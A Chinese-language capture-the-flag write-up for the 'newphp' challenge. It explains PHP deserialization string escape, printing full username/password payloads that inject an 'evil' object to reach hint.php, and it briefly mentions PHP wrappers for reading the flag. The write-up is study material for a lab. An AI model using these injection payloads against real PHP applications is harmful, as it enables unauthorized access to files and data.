题目:newphp
知识点:php反序列化字符串逃逸、php伪协议
工具:无
前提知识的介绍:
php反序列化字符串逃逸:
https://blog.csdn.net/qq_43431158/article/details/108210822
php伪协议:
https://blog.csdn.net/nzjdsds/article/details/82461043?utm_medium=distribute.pc_relevant.none-task-blog-2~default~baidujs_title~default-0.essearch_pc_relevant&spm=1001.2101.3001.4242
解题:
点开链接:
进行审计,发现这应该是一个跟php序列化有关的题目。注意到有两个对序列化字符串进行过滤的函数,write不用管,我们直接看read(这里提一句,read没有参数但是传入了一个参数,这在php中是不会报错的),注意read中将’\0\0\0’六个字符替换为了三个字符,这就给反序列化字符串逃逸提供了机会。
我们直接来看payload,先看一段我在网上看到的payload:
username=\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0&password=1";O:4:"evil":2:{s:4:"hint";s:8:"hint.php";}
这是改payload得到的序列化字符串:
O:4:"User":2:{s:8:"username";s:48:"********";s:8:"password";s:44:"1";O:4:"evil":2:{s:4:"hint";s:8:"hint.php";}";}
这段在靶场能够执行成功,但是在我自己写的环境下不行,我猜测是php版本的问题,不过不管怎样,我觉得这段payload不是很好,原因有两点,一是最后有一个双引号和分号多余了,二是第二个属性没有构造完整,只有一个孤零零的evil对象而没有password属性名。
这是我构造的payload:
username=\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0&password=1";s:8:"password";O:4:"evil":2:{s:4:"hint";s:8:"hint.php";}}
序列化字符串:
O:4:"User":2:{s:8:"username";s:48:"********";s:8:"password";s:60:"1";s:8:"password";O:4:"evil":2:{s:4:"hint";s:8:"hint.php";}}";}
这里有两点改进,一是增加了属性password,二是提前用}闭合,将多余的分号和引号忽略在外。
此外值得一提的是,我上面增加了属性password不是偶然的,而且只能增加password,当字符串的属性个数大于类的属性个数时,多余的可以是任意类中没有出现过的属性,但是当字符串的属性个数等于类的属性个数时,字符串中的属性必须严格地和类中属性相同。还有很有趣的一点是
unserialzie(‘O:4:"evil":2:{s:4:"hint";s:8:"hint.php";}’)
返回的结果是false,但是这个字符串确确实实被反序列化了,但是他的生命期很短,在unserialize返回之前就被析构了;而
O:4:"evil":2:{s:4:"hint";s:8:"hint.php;s:1:’a’;s:1:’a’;";}
则可以被unserialize成功返回,但是无法绕过__wakeup。
执行payload后,解码得到
感觉有ssrf,直接利用php伪协议得到flag